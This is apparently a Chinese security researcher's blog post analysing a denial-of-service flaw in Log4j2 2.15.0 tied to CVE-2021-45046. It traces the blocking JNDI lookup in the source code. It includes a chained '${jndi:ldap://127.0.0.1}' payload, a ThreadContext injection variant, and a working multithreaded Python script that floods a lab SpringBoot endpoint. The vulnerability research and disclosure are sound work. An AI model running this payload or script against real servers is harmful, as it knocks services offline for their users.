介绍
在Log4j2爆出RCE漏洞后，官方给出了RC1和RC2的修复，在之前的文章中有详细分析
在RC2的修复之前，其实就存在DOS的可能，但我在RC2的修复后，发现仍然可以造成拒绝服务漏洞
于是在RC2修复补丁发布后几小时内向Apache Logging PMC报告了该问题
得到了官方的认可和致谢
其实当时没有想过申请CVE等步骤，但在今天早上看到了Log4j2发布了CVE-2021-45046漏洞报告，这个CVE正是拒绝服务相关，不过漏洞credit信息并不是我，而是国外某团队
具体链接参考：
https://logging.apache.org/log4j/2.x/security.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
大致阅读CVE-2021-45046相关的信息后，发现和我提交的DOS漏洞略有不同，但核心部分是一致的
在2.15.0版本利用的前提：该漏洞必须在开启lookup功能的情况下触发
一种常见的开启姿势是在log4j2.xml中：
<appenders> <console name="CONSOLE-APPENDER" target="SYSTEM_OUT"> <PatternLayout pattern="%msg{lookups}%n"/> </console> </appenders>
这篇文章就从三个方面来谈一谈这个拒绝服务漏洞
- 我是如何发现这个拒绝服务漏洞的
- 这个CVE描述的漏洞与我发现的有什么相同和不同之处
- 这种拒绝服务漏洞的实际利用场景
挖掘过程
回顾RC1和RC2的修复：如果存在JndiLookup那么会判断其中的的host是否合法
if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null; }
而allowedHosts中一定包含有localhost和127.0.0.1
// 拿到本地IP private static final List<String> permanentAllowedHosts = NetUtils.getLocalIps(); ... addAll(hosts, allowedHosts, permanentAllowedHosts, ALLOWED_HOSTS, data); return new JndiManager(...,allowedHosts,...);
这说明如果LDAP服务端在127.0.0.1可以成功lookup
然而黑客不可能凭空在服务端本地开启一个恶意的LDAP Server
我想到lookup本质是网络相关的操作，会有阻塞的可能。可以构造出Payload使程序lookup本地，而本地不可能开LDAP Server，于是发生超时等待，也许会有拒绝服务漏洞的可能
于是修改了RC2的源码，加入了统计时间代码，分析lookup的超时情况
（下文分析为什么阻塞的方法不是looup而是context.getAttributes）
if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null; } long startTime = System.currentTimeMillis(); Attributes attributes = null; try { // 阻塞方法 attributes = this.context.getAttributes(name); }catch (Exception ignored){ } long endTime = System.currentTimeMillis(); System.out.println(endTime-startTime);
测试以上打印时间的代码会发现总是打印2000左右，说明超时时间为2秒
深入getAttributes可以看到这样的方法
static ResolveResult getUsingURLIgnoreRootDN(String var0, Hashtable<?, ?> var1) throws NamingException { LdapURL var2 = new LdapURL(var0); // 跟入 LdapCtx var3 = new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl()); String var4 = var2.getDN() != null ? var2.getDN() : ""; CompositeName var5 = new CompositeName(); if (!"".equals(var4)) { var5.add(var4); } return new ResolveResult(var3, var5); }
在new LdapCtx方法中存在connect操作导致阻塞
（其实connect方法还有几步才会到达最底层的阻塞，不过没有必要继续分析了）
public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException { ... try { this.connect(false); } ... }
回到之前的问题：为什么阻塞的不是lookup而是getAttributes方法
当前代码在连接超时后会抛出异常，走不到lookup方法
其实在lookup方法中应该也会造成阻塞，简单往里面跟一下会发现类似的代码
// 从Attributes里获取属性 // 那么应该调用了getAttributes之类的阻塞方法 if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) { var3 = Obj.decodeObject((Attributes)var4); } if (var3 == null) { // 类似的代码 var3 = new LdapCtx(this, this.fullyQualifiedName(var1)); }
现在发现了能让程序阻塞的办法，那么怎样构造Payload以达成更长时间的阻塞呢
Log4j2在处理${}是递归解析，也就是说会处理一个字符串中的所有${}并分别处理对应的值，每一次的处理都会造成2秒的等待，所以只需简单的拼接即可
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) { ... substitute(event, bufName, 0, bufName.length()); ... String varValue = resolveVariable(event, varName, buf, startPos, endPos); ... int change = substitute(event, buf, startPos, varLen, priorVariables); }
例如我拼接三个会阻塞更长的时间
（这里是针对本地80端口，实际上可以用大概率关闭的高位端口）
${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}
这时候会有师傅产生疑问：
在一个web请求中，这样的payload只能让我当前的请求阻塞住，如何实现真正的拒绝服务攻击，让目标网站无法正常处理别人的请求呢？我将在后文给大家展示
利用场景
造一个SpringBoot项目，在resources下添加配置文件开启lookup功能
<configuration status="OFF" monitorInterval="30"> <appenders> <console name="CONSOLE-APPENDER" target="SYSTEM_OUT"> <PatternLayout pattern="%msg{lookups}%n"/> </console> </appenders> <loggers> <root level="error"> <appender-ref ref="CONSOLE-APPENDER"/> </root> </loggers> </configuration>
为了制造场景所以要移除了SpringBoot自带的日志依赖，而选用Log4j2
另外引入starter-web以编写Controller模拟真实的接口供测试
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.15.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.15.0</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency>
模拟一个接口：接受message参数并Base64解码后打印日志
@Controller public class TestController { private static final Logger logger = LogManager.getLogger(TestController.class); @RequestMapping("/test") @ResponseBody public String test(String message) { try { // Base64解码 String data = new String(Base64.getDecoder().decode(message)); logger.error("message:" + data); } catch (Exception e) { return e.getMessage(); } return ""; } }
使用Python编写EXP打自己的靶机
import base64 import threading import requests # 每一个Payload将会导致阻塞20秒 payload = "${jndi:ldap://127.0.0.1}" * 10 payload = base64.b64encode(bytes(payload, encoding="utf-8")) url = "http://127.0.0.1:8080/test?message=" + str(payload, encoding="utf-8") def work(): requests.get(url) if __name__ == '__main__': threadList = [] # 多线程请求 for i in range(1000): t = threading.Thread(target=work) threadList.append(t) t.start() for thread in threadList: thread.join()
启动SpringBoot项目后，可以用这个Python脚本成功造成拒绝服务漏洞
CVE分析
接下来分析这个CVE，其实我不确定对于这个CVE的解读是否正确
在Log4j2.xml中支持一种配置从上下文中取值：例如这个例子可以取到loginId值
<Appenders> <Console name="STDOUT" target="SYSTEM_OUT"> <PatternLayout> <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern> </PatternLayout> </Console> </Appenders>
如果程序这样写
public static void main(String[] args) throws Exception{ ThreadContext.put("loginId","1}"); logger.error("xxx"); }
将会打印
2021-12-15 12:03:53,860 ERROR Main [main] 1 xxx
如果代码这样写将会导致类似的拒绝服务
ThreadContext.put("loginId","${jndi:ldap://127.0.0.1}"); logger.error("xxx");
在xml中有另一种效果相同的配置方式，但这种写法反而不会触发${}解析
<Appenders> <Console name="STDOUT" target="SYSTEM_OUT"> <PatternLayout> <pattern>%d %p %c{1.} [%t] %X{loginId} %m%n</pattern> </PatternLayout> </Console> </Appenders>
在issue中也有人证实了这一点
关于拒绝服务的分析上文已有，重点看一下ContextMapLookup
@Override public String lookup(final String key) { return currentContextData().getValue(key); } @Override public String lookup(final LogEvent event, final String key) { return event.getContextData().getValue(key); }
这里的contextData正是一个简单的Map
在resolveVariable方法返回
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { final StrLookup resolver = getVariableResolver(); if (resolver == null) { return null; } // 取出了${jndi:ldap://127.0.0.1} return resolver.lookup(event, variableName); }
取出的payload在下一次的递归中成功被lookup
不难发现lookup时是从event中取Map那么该Map是如何保存到event中的呢
定位到创建LogEvent的方法ReusableLogEventFactory.createEvent
@Override public LogEvent createEvent(final String loggerName, final Marker marker, final String fqcn, final StackTraceElement location, final Level level, final Message message, final List<Property> properties, final Throwable t) { if (result == null || result.reserved) { final boolean initThreadLocal = result == null; // 这个类中包含了空的context result = new MutableLogEvent(); ... } ... // 真正设置context属性 result.setContextData(injector.injectContextData(properties, (StringMap) result.getContextData())); result.setContextStack(ThreadContext.getDepth() == 0 ? ThreadContext.EMPTY_STACK : ThreadContext.cloneStack()); ... return result; }
跟入ThreadContextDataInjector.injectContextData方法
@Override public StringMap injectContextData(final List<Property> props, final StringMap ignore) { if (providers.size() == 1 && (props == null || props.isEmpty())) { // 跟入supplyStringMap return providers.get(0).supplyStringMap(); } ... }
进入ThreadContextDataProvider.supplyStringMap方法
@Override public StringMap supplyStringMap() { return ThreadContext.getThreadContextMap().getReadOnlyContextData(); }
在getReadOnlyContextData中获得这个Map
再没有必要做进一步的分析了，这个拒绝服务漏洞原理已经清晰了
CVE利用场景
CVE中提到的利用场景应该更为广泛
通常情况下，记录登录用户的身份等信息是常见的操作
如果程序员选择了Log4j2这种ctx记录的方式而不是手动拼接字符串，将会导致该漏洞
@RequestMapping("/test") @ResponseBody public String test(String userId) { try { String id = new String(Base64.getDecoder().decode(userId)); // 记录用户登录ID ThreadContext.put("loginId", id); // 记录该用户已登录 logger.info("user login"); // 其他业务逻辑 // ... } catch (Exception e) { return e.getMessage(); } return ""; }
正常情况下：http://localhost:8080/test?userId=MQ==
将会记录
2021-12-15 12:51:27,845 [http-nio-8080-exec-1] 1 user login
如果打Payload则报错并成功阻塞
http://localhost:8080/test?userId=JHtqbmRpOmxkYXA6Ly8xMjcuMC4wLjF9
改写下Python脚本即可成功拒绝服务
url = "http://127.0.0.1:8080/test?userId=" + str(payload, encoding="utf-8")
代码
SpringBoot搭建的利用环境代码：https://github.com/EmYiQing/Log4j2DoS
